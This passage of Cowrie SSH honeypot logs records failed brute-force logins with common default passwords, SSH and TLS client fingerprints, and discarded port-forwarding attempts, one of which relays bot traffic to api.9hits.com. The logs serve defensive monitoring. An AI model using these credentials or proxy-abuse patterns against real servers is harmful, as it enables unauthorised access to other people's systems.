no-cache\\r\\n\\r\\n_=KEQrSyVIRElaeX0rTCNLJA%3D%3D0mlBGBrBlT8N%2Br4enhAoPmY6Bkqp6Qbs7butXYTA2hhTnUKMVTzCHsESlxXmC7kfyDjboSeRBsxxyVh8pbpock6F5luyNSOUztGAI7wUb8w4sXaToETB6xYm49uex5yL5mFXRp8tLro57XZhxSWjmgmMfgTnEv1HETLlKVol%2FB8IH%2BapyC7Fmj4NInLnQhWfHnkc8NvanDEKzDmzvstBFI0EEwpuZilSuMOoXW6c15Iq46nSxa07WdK%2Fj5%2Ba0N9dLjZk%2BwW5ZAHp1FjDq8m7ubXoMJfbmSNUb0OUuB1u1uPmfXaNrUy51kM14SpTJF%2FsqaFu6LzYcDGSTRdobBsVIPvhHNZE5pXjo5qJPaAFlWilAiBxep7WGIeNlv62hPz6x3HEMUayeKtysbGNNQfJANDkLv4npniQtWufK7KTWYq12MkJSNEVfvfc3BEfpkAsMkhZulMWsKoAeeRC00KGtL1SPw1LQyRI5HWuQ2UHVIiThG8vJxbwR3mznU7NUD3tAbrW5gdIDe3USV4fFJry94yeadiSiT0mvPKHcI1lBjvJXITz3lbNXa%2FZl5knTUKxfEn2tycGDXirYoDOMwTIUVlFC7WOAr2lLuZA%2BDRQw%2BhcjHUYvJA9OPEbu26Ym1tDN9cxZ3O4o1QBadzv9bNkAKidWkIfYuZrgljqdsXxT1glYH3mxbYk8eHZTaUyMrT%2BCZVHUoC4BKl7BrXA9RwrEWN3A572aYouLIdYpKCbyWzbWK2g3p8X%2F%2BgL0dS6ViOALYSz0XZqsQlx0bivMejrMY8BdyLzJY5%2BE1x10r2BesukSOYOvzMnQbOha3hMQZM2Up6quvNL%2BsFrfKDoPds9DbHmfK%2B8yljf4jxC%2BeoIoqgLSDtYdxza9yqwrxPRaob4W3Hxj%2B695BToq%2FEmlYSs5JvuReeEANj%2BpBZaYXUykLrk7uhQPd87b3u9iCTtIK7xijjsDiDJWDld94t4fmQuJpem%2F12yUh2yrtsi8LPp0Xpb54JRLIu1pafL%2BKP18jV4wF8pLwXDoGpi22wQsMOM9dEpGvS6OzrXMnCYHVYNloC0hGIGtn4SwuOsbCUgEsD8'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2; rv:71.0) Gecko/20100101 Firefox/71.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1162\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=KEQrSyVIRElaeX0rTCNLJA%3D%3D0mlBGBrBlT8N%2Br4enhAoPmY6Bkqp6Qbs7butXYTA2hhTnUKMVTzCHsESlxXmC7kfyDjboSeRBsxxyVh8pbpock6F5luyNSOUztGAI7wUb8w4sXaToETB6xYm49uex5yL5mFXRp8tLro57XZhxSWjmgmMfgTnEv1HETLlKVol%2FB8IH%2BapyC7Fmj4NInLnQhWfHnkc8NvanDEKzDmzvstBFI0EEwpuZilSuMOoXW6c15Iq46nSxa07WdK%2Fj5%2Ba0N9dLjZk%2BwW5ZAHp1FjDq8m7ubXoMJfbmSNUb0OUuB1u1uPmfXaNrUy51kM14SpTJF%2FsqaFu6LzYcDGSTRdobBsVIPvhHNZE5pXjo5qJPaAFlWilAiBxep7WGIeNlv62hPz6x3HEMUayeKtysbGNNQfJANDkLv4npniQtWufK7KTWYq12MkJSNEVfvfc3BEfpkAsMkhZulMWsKoAeeRC00KGtL1SPw1LQyRI5HWuQ2UHVIiThG8vJxbwR3mznU7NUD3tAbrW5gdIDe3USV4fFJry94yeadiSiT0mvPKHcI1lBjvJXITz3lbNXa%2FZl5knTUKxfEn2tycGDXirYoDOMwTIUVlFC7WOAr2lLuZA%2BDRQw%2BhcjHUYvJA9OPEbu26Ym1tDN9cxZ3O4o1QBadzv9bNkAKidWkIfYuZrgljqdsXxT1glYH3mxbYk8eHZTaUyMrT%2BCZVHUoC4BKl7BrXA9RwrEWN3A572aYouLIdYpKCbyWzbWK2g3p8X%2F%2BgL0dS6ViOALYSz0XZqsQlx0bivMejrMY8BdyLzJY5%2BE1x10r2BesukSOYOvzMnQbOha3hMQZM2Up6quvNL%2BsFrfKDoPds9DbHmfK%2B8yljf4jxC%2BeoIoqgLSDtYdxza9yqwrxPRaob4W3Hxj%2B695BToq%2FEmlYSs5JvuReeEANj%2BpBZaYXUykLrk7uhQPd87b3u9iCTtIK7xijjsDiDJWDld94t4fmQuJpem%2F12yUh2yrtsi8LPp0Xpb54JRLIu1pafL%2BKP18jV4wF8pLwXDoGpi22wQsMOM9dEpGvS6OzrXMnCYHVYNloC0hGIGtn4SwuOsbCUgEsD8'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:20.174551Z","src_ip":"123.27.168.40","session":"8bf3db8fcb44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:20.178365Z","src_ip":"123.27.168.40","session":"8bf3db8fcb44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03fg\\xe0\\x1bRB\\xd1\\xd9\\x14\\x8a\\x14\\xd8\\xd1\\x99\\xd6\\xb9\\xc4\\rA\\xb4]R\\x1a\\xfe\\xae\\xe2\\x1eCj\\xe2\\xf4\\xd4 P\\xd2I\\x1eupCT\\x928\\xf2\\xbe\\x08\\x98@\\xe1\\xfc\\x81i\\x1b\\x11\\xac\\xb3\\x16C\\x91\\xb5\\ru3\\x9d\\xe8\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\\\-\\xb83!\\x82\\xd9q\\xd1\\xbc\\xf1\\x05\\x8c?\\xc4v\\x12ar\\xb1\\xb8\\xb6S\\xf3\\rj\\xf2SP@\\xaeQ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03fg\\xe0\\x1bRB\\xd1\\xd9\\x14\\x8a\\x14\\xd8\\xd1\\x99\\xd6\\xb9\\xc4\\rA\\xb4]R\\x1a\\xfe\\xae\\xe2\\x1eCj\\xe2\\xf4\\xd4 P\\xd2I\\x1eupCT\\x928\\xf2\\xbe\\x08\\x98@\\xe1\\xfc\\x81i\\x1b\\x11\\xac\\xb3\\x16C\\x91\\xb5\\ru3\\x9d\\xe8\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\\\-\\xb83!\\x82\\xd9q\\xd1\\xbc\\xf1\\x05\\x8c?\\xc4v\\x12ar\\xb1\\xb8\\xb6S\\xf3\\rj\\xf2SP@\\xaeQ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:20.180922Z","src_ip":"123.27.168.40","session":"8bf3db8fcb44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:20.419526Z","session":"8bf3db8fcb44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:20.654985Z","src_ip":"123.27.168.40","session":"8bf3db8fcb44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d\\xd9X\\x83\\xa3\\\\\\'\\x16\\xcd\\x19\\x1f\\x99,\\xc4{e\\xb5\\xb8\\x17\\xa0\\xeb\\xfbsj\\x97\\xb8\\xc7\\xaeL\\xd1\\x98M )eWU\\xd9\\x0f\\xb3\\x03j\\x80\\x16Bl\\xcd\\xc0A0\\xc6\\xce\\xe9\\x81;\\r\\xec\\x073\\xad3T)\\xe8\\xa9\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 I\\xc7\\x10?E*\\x18\\x0f\\x91eO&\\xaf\\x99Z\\xf3\\xe2B5gQ\\x82B\\x12\\xbb/d\\xcaP\\xcc&\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d\\xd9X\\x83\\xa3\\\\\\'\\x16\\xcd\\x19\\x1f\\x99,\\xc4{e\\xb5\\xb8\\x17\\xa0\\xeb\\xfbsj\\x97\\xb8\\xc7\\xaeL\\xd1\\x98M )eWU\\xd9\\x0f\\xb3\\x03j\\x80\\x16Bl\\xcd\\xc0A0\\xc6\\xce\\xe9\\x81;\\r\\xec\\x073\\xad3T)\\xe8\\xa9\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 I\\xc7\\x10?E*\\x18\\x0f\\x91eO&\\xaf\\x99Z\\xf3\\xe2B5gQ\\x82B\\x12\\xbb/d\\xcaP\\xcc&\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:20.658318Z","src_ip":"123.27.168.40","session":"8bf3db8fcb44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:20.935438Z","src_ip":"45.153.34.195","session":"ad9400bb82e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:20.970489Z","src_ip":"123.27.168.40","session":"8bf3db8fcb44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwerty1!","message":"login attempt [ubuntu/Qwerty1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:22.154172Z","src_ip":"91.92.40.36","session":"26d1bd47232a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42834,"dst_ip":"10.17.0.5","dst_port":22,"session":"594d40ae0339","protocol":"ssh","message":"New connection: 45.153.34.195:42834 (10.17.0.5:22) [session: 594d40ae0339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:22.167549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:22.172079Z","src_ip":"45.153.34.195","session":"594d40ae0339","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:22.253580Z","src_ip":"45.153.34.195","session":"594d40ae0339","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y","message":"login attempt [root/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:22.509570Z","src_ip":"45.153.34.195","session":"594d40ae0339","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:23.593334Z","src_ip":"45.153.34.195","session":"594d40ae0339","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:24.399877Z","src_ip":"91.92.40.36","session":"26d1bd47232a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42854,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4dfe9e7a020","protocol":"ssh","message":"New connection: 45.153.34.195:42854 (10.17.0.5:22) [session: e4dfe9e7a020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:24.743442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:24.884634Z","src_ip":"45.153.34.195","session":"e4dfe9e7a020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 